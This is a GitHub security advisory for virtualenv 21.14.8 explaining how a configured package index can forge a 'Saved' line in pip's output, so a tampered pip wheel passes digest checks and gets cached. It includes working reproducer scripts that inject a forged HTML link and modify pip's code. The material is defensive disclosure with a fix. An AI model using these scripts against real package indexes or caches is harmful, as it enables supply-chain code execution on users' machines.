{"id":"GHSA-494p-63j8-28p3","summary":"virtualenv: Downloaded wheel selection and caching precede verification","details":"## Summary\n\nWheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip's textual\noutput. A verification failure does not remove the downloaded file from that cache.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDownload selection and promotion into the reusable wheel cache.\n\n## Attacker-controlled input\n\nA download must fail verification, or the archive selected from pip output must differ from the file later reused.\nDefault-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI\ncomparison.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[wheel download and digest check](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/wheels/acquire.py).\n\n## Mechanism\n\n`download_wheel()` tells pip to write directly into the reusable `wheel/house` cache. It then selects a path to hash\nfrom the first `Saved ` line in pip's stdout, rather than from the file pip actually placed there. A package index can\ninject such a line through a discarded link's `data-requires-python` attribute. A separate failure exists without the\nforged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain\nthere. Later wheel selection does not hash the cached file again.\n\n## Reproduction and evidence\n\nThe scanner used a local index configured in `pip.conf`, with PyPI digest comparison still enabled. In the control case\nit served a modified pip wheel alone. `virtualenv --upgrade-embed-wheels` refused the mismatch, and a subsequent\nenvironment used the bundled pip. In the attack case the index added a link whose `data-requires-python` contained a\nforged `Saved \u003cpath\u003e` line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded\nthe modified wheel in its update log, and a later environment's `pip --version` ran a line added by the index. The\nreproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.\n\nThe report also shows that a refused wheel can replace a previously accepted file of the same name in `wheel/house`,\nleaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The\ngap follows the digest check added in #3251, first released in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) downloads to a private temporary directory, verifies the actual\narchive, and promotes it only after acceptance.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant I as Configured index\n    participant P as pip download\n    participant C as wheel/house cache\n    participant V as virtualenv digest check\n    participant N as New environment\n    I-\u003e\u003eP: modified wheel and forged Saved line\n    P-\u003e\u003eC: write modified wheel directly\n    P--\u003e\u003eV: stdout names genuine bundled wheel\n    V-\u003e\u003eV: hash genuine wheel and accept\n    V-\u003e\u003eC: record modified wheel for reuse\n    C-\u003e\u003eN: seed modified pip without rehash\n    Note over P,C: Even a rejected wheel can remain in the cache\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-ST00DRO3`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport atexit\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\ncompanions = Path(\"/tmp/repro.d\")\nwork = Path(\"/tmp/forged-saved-line\")\nhome = work / \"home\"\napp_data = home / \".cache\" / \"virtualenv\"\nthis_python = f\"{sys.version_info.major}.{sys.version_info.minor}\"  # the target; each Python has its own update log\nupdate_log_of_pip = app_data / \"wheel\" / this_python / \"embed\" / \"3\" / \"pip.json\"\nvirtualenv = [sys.executable, companions / \"virtualenv_with_local_pypi_json.py\", work / \"pypi\"]\nas_user = {\"cwd\": home, \"env\": {\"HOME\": str(home), \"PATH\": os.environ[\"PATH\"]}, \"capture_output\": True, \"text\": True}\nadded_code_prints = \"code added by the index\"  # the line index_serves_modified_pip.py adds to pip/__init__.py\n\n\ndef user_upgrades_seed_wheels_and_creates_env():\n    # each case starts from an empty app-data\n    shutil.rmtree(app_data, ignore_errors=True)\n    shutil.rmtree(home / \"env\", ignore_errors=True)\n    upgrade = subprocess.run([*virtualenv, \"--upgrade-embed-wheels\"], **as_user)\n    # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach\n    subprocess.run([*virtualenv, \"--no-periodic-update\", \"env\"], **as_user, check=True)\n    pip_version = subprocess.run([home / \"env\" / \"bin\" / \"python\", \"-m\", \"pip\", \"--version\"], **as_user, check=True)\n    # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0\n    refusal = next((line for line in upgrade.stderr.splitlines() if \"but PyPI reports\" in line), None)\n    logged = []\n    if update_log_of_pip.exists():  # a failed update writes no log\n        logged = [entry[\"filename\"] for entry in json.loads(update_log_of_pip.read_text())[\"versions\"]]\n    return refusal, logged, pip_version.stdout.splitlines()\n\n\n# set up: PyPI's answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it\nshutil.rmtree(work, ignore_errors=True)\n(home / \".config\" / \"pip\").mkdir(parents=True)\nshutil.copy(companions / \"pip.conf\", home / \".config\" / \"pip\" / \"pip.conf\")\nsubprocess.run([sys.executable, companions / \"pypi_json_and_mirror.py\", work / \"pypi\", work / \"index\"], check=True)\nindex_server = subprocess.Popen(\n    [sys.executable, \"-u\", \"-m\", \"http.server\", \"8099\", \"--bind\", \"127.0.0.1\", \"--directory\", work / \"index\"],\n    stdout=subprocess.PIPE,\n    stderr=subprocess.DEVNULL,\n    text=True,\n)\natexit.register(index_server.kill)\nassert index_server.stdout.readline().startswith(\"Serving HTTP\"), \"index server did not start\"  # printed once bound\n\n# control: the index serves a modified pip 26.0.1, and virtualenv's comparison with PyPI's SHA-256 refuses it\nsubprocess.run([sys.executable, companions / \"index_serves_modified_pip.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nprint(\"CONTROL  modified pip: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"CONTROL  modified pip: update log of pip lists\", logged)\nprint(\"CONTROL  modified pip: pip --version in the new env prints\", pip_says)\ncontrol_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# attack: the index also adds one link, whose data-requires-python puts a \"Saved \u003cpath\u003e\" line into pip's output\nsubprocess.run([sys.executable, companions / \"index_forges_saved_line.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nstored_wheel = app_data / \"wheel\" / \"house\" / \"pip-26.0.1-py3-none-any.whl\"\nstored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()\npypi_sha256 = json.loads((work / \"pypi\" / \"pip.json\").read_text())[\"releases\"][\"26.0.1\"][0][\"digests\"][\"sha256\"]\nprint(\"OBSERVED + forged line: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"OBSERVED + forged line: update log of pip lists\", logged)\nprint(\"OBSERVED + forged line: sha256 of that wheel in wheel/house:\", stored_sha256)\nprint(\"OBSERVED + forged line: sha256 PyPI publishes for that name:\", pypi_sha256)\nprint(\"OBSERVED + forged line: pip --version in the new env prints\", pip_says)\nattack_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# check: the same modified wheel, refused without the forged line, is seeded with it\nprint(\"BUG\" if attack_ran_added_code and not control_ran_added_code else \"OK\")\n```\n\n**`repro.d/index_forges_saved_line.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user's pip.conf names: make pip print a \"Saved \u003cpath\u003e\" line of its choice.\n\nusage: index_forges_saved_line.py \u003cindex_dir\u003e\n\nAdds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.\n\"\"\"\n\nimport shutil\nimport sys\nfrom pathlib import Path\n\n# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user's disk: the wheel virtualenv bundles for Python 3.9,\n# at the same path for every user of this image\nGENUINE_WHEEL_ON_USERS_DISK = \"/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl\"\n\nindex_dir = Path(sys.argv[1])\n\n# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with\n# \"Discarding \u003clink\u003e (requires-python:\u003cattribute\u003e): ... has inconsistent version\" on stdout\nshutil.copy(index_dir / \"files\" / \"pip-26.2.1-py3-none-any.whl\", index_dir / \"files\" / \"pip-100.0-py3-none-any.whl\")\n\n# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; &#10; is a line feed\nwith (index_dir / \"simple\" / \"pip\" / \"index.html\").open(\"a\") as page:\n    page.write(\n        '\u003ca href=\"/files/pip-100.0-py3-none-any.whl\"'\n        f' data-requires-python=\"&#10;Saved {GENUINE_WHEEL_ON_USERS_DISK}&#10;\"\u003epip-100.0-py3-none-any.whl\u003c/a\u003e\\n'\n    )\n```\n\n**`repro.d/index_serves_modified_pip.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user's pip.conf names: serve a modified pip under a genuine name.\n\nusage: index_serves_modified_pip.py \u003cindex_dir\u003e\n\npip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,\nvirtualenv's comparison with PyPI's SHA-256 catches this.\n\"\"\"\n\nimport hashlib\nimport io\nimport sys\nimport zipfile\nfrom pathlib import Path\n\nADDED_CODE = b'\\nprint(\"code added by the index runs as uid\", __import__(\"os\").getuid())\\n'\n\nindex_dir = Path(sys.argv[1])\nwheel = index_dir / \"files\" / \"pip-26.0.1-py3-none-any.whl\"\n\ngenuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))\nwith zipfile.ZipFile(wheel, \"w\") as modified:\n    for entry in genuine.infolist():\n        content = genuine.read(entry)\n        if entry.filename == \"pip/__init__.py\":\n            content += ADDED_CODE\n        modified.writestr(entry, content)\n\n# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip's\n# download folder first, and pip replaces a file of the same name there only when the link's digest differs\nsha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()\n(index_dir / \"simple\" / \"pip\" / \"index.html\").write_text(\n    f'\u003c!DOCTYPE html\u003e\\n\u003ca href=\"/files/{wheel.name}#sha256={sha256}\"\u003e{wheel.name}\u003c/a\u003e\\n'\n)\n```\n\n**`repro.d/pip.conf`**\n\n```text\n[global]\nindex-url = http://127.0.0.1:8099/simple\n```\n\n**`repro.d/pypi_json_and_mirror.py`**\n\n```text\n\"\"\"Setup: what PyPI's JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.\n\nusage: pypi_json_and_mirror.py \u003cpypi_dir\u003e \u003cindex_dir\u003e\n\nThe wheels bundled with virtualenv are genuine PyPI files. \u003cpypi_dir\u003e/\u003cproject\u003e.json is what\nhttps://pypi.org/pypi/\u003cproject\u003e/json answers for them, with the digests of virtualenv's BUNDLE_SHA256 table.\n\u003cindex_dir\u003e is a PEP 503 tree (simple/\u003cproject\u003e/index.html, files/) that offers exactly these files.\n\"\"\"\n\nimport json\nimport shutil\nimport sys\nimport zipfile\nfrom email.parser import HeaderParser\nfrom html import escape\nfrom pathlib import Path\n\nfrom virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256\n\npypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])\npypi_dir.mkdir()\n(index_dir / \"files\").mkdir(parents=True)\n\nfor project in (\"pip\", \"setuptools\"):\n    releases, links = {}, []\n    for filename, sha256 in BUNDLE_SHA256.items():\n        name, version = filename.split(\"-\")[:2]\n        if name != project:\n            continue\n        shutil.copy(BUNDLE_FOLDER / filename, index_dir / \"files\")\n        releases[version] = [{\"filename\": filename, \"digests\": {\"sha256\": sha256}, \"upload_time\": \"2026-01-01T00:00:00\"}]\n        with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:\n            metadata = HeaderParser().parsestr(wheel.read(f\"{name}-{version}.dist-info/METADATA\").decode())\n        requires_python = escape(metadata[\"Requires-Python\"])\n        links.append(f'\u003ca href=\"/files/{filename}#sha256={sha256}\" data-requires-python=\"{requires_python}\"\u003e{filename}\u003c/a\u003e')\n    (pypi_dir / f\"{project}.json\").write_text(json.dumps({\"releases\": releases}))\n    (index_dir / \"simple\" / project).mkdir(parents=True)\n    (index_dir / \"simple\" / project / \"index.html\").write_text(\"\u003c!DOCTYPE html\u003e\\n\" + \"\\n\".join(links) + \"\\n\")\n```\n\n**`repro.d/virtualenv_with_local_pypi_json.py`**\n\n```text\n\"\"\"Setup: the virtualenv command line, with PyPI's JSON API answered from local files because there is no network.\n\nusage: virtualenv_with_local_pypi_json.py \u003cpypi_dir\u003e \u003cvirtualenv arguments...\u003e\n\nOnly the request for https://pypi.org/pypi/\u003cproject\u003e/json is replaced: it is answered from \u003cpypi_dir\u003e/\u003cproject\u003e.json.\npip, the index pip talks to and the rest of virtualenv are the real thing.\n\"\"\"\n\nimport sys\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom virtualenv.__main__ import run_with_catch\n\npypi_dir = Path(sys.argv[1])\n\n\ndef pypi_json_api(url, context):\n    assert url.startswith(\"https://pypi.org/pypi/\") and context is None, url\n    project = url.split(\"/\")[4]\n    return (pypi_dir / f\"{project}.json\").open(\"rb\")\n\n\nwith mock.patch(\"virtualenv.seed.wheels.periodic_update.urlopen\", pypi_json_api):\n    run_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nA file rejected during download verification can remain available for later cache selection. Exploitation requires\nadditional control over the downloaded data or archive selection; this finding alone does not bypass TLS.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix downloads into a private temporary directory and verifies archive identity, requested version, digest\nwhere applicable, and Python compatibility before promoting a wheel into the reusable cache.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nAfter a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing\nunexpected download failures.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-ST00DRO3.","aliases":["CVE-2026-113714"],"modified":"2026-10-23T22:30:04.132604094Z","published":"2026-10-23T22:25:22Z","database_specific":{"cwe_ids":["CWE-354"],"severity":"LOW","github_reviewed":true,"github_reviewed_at":"2026-10-23T22:25:22Z","nvd_published_at":"2026-10-20T19:17:34Z"},"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-494p-63j8-28p3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113714"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/pull/3430"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"}],"affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-494p-63j8-28p3/GHSA-494p-63j8-28p3.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N"}]}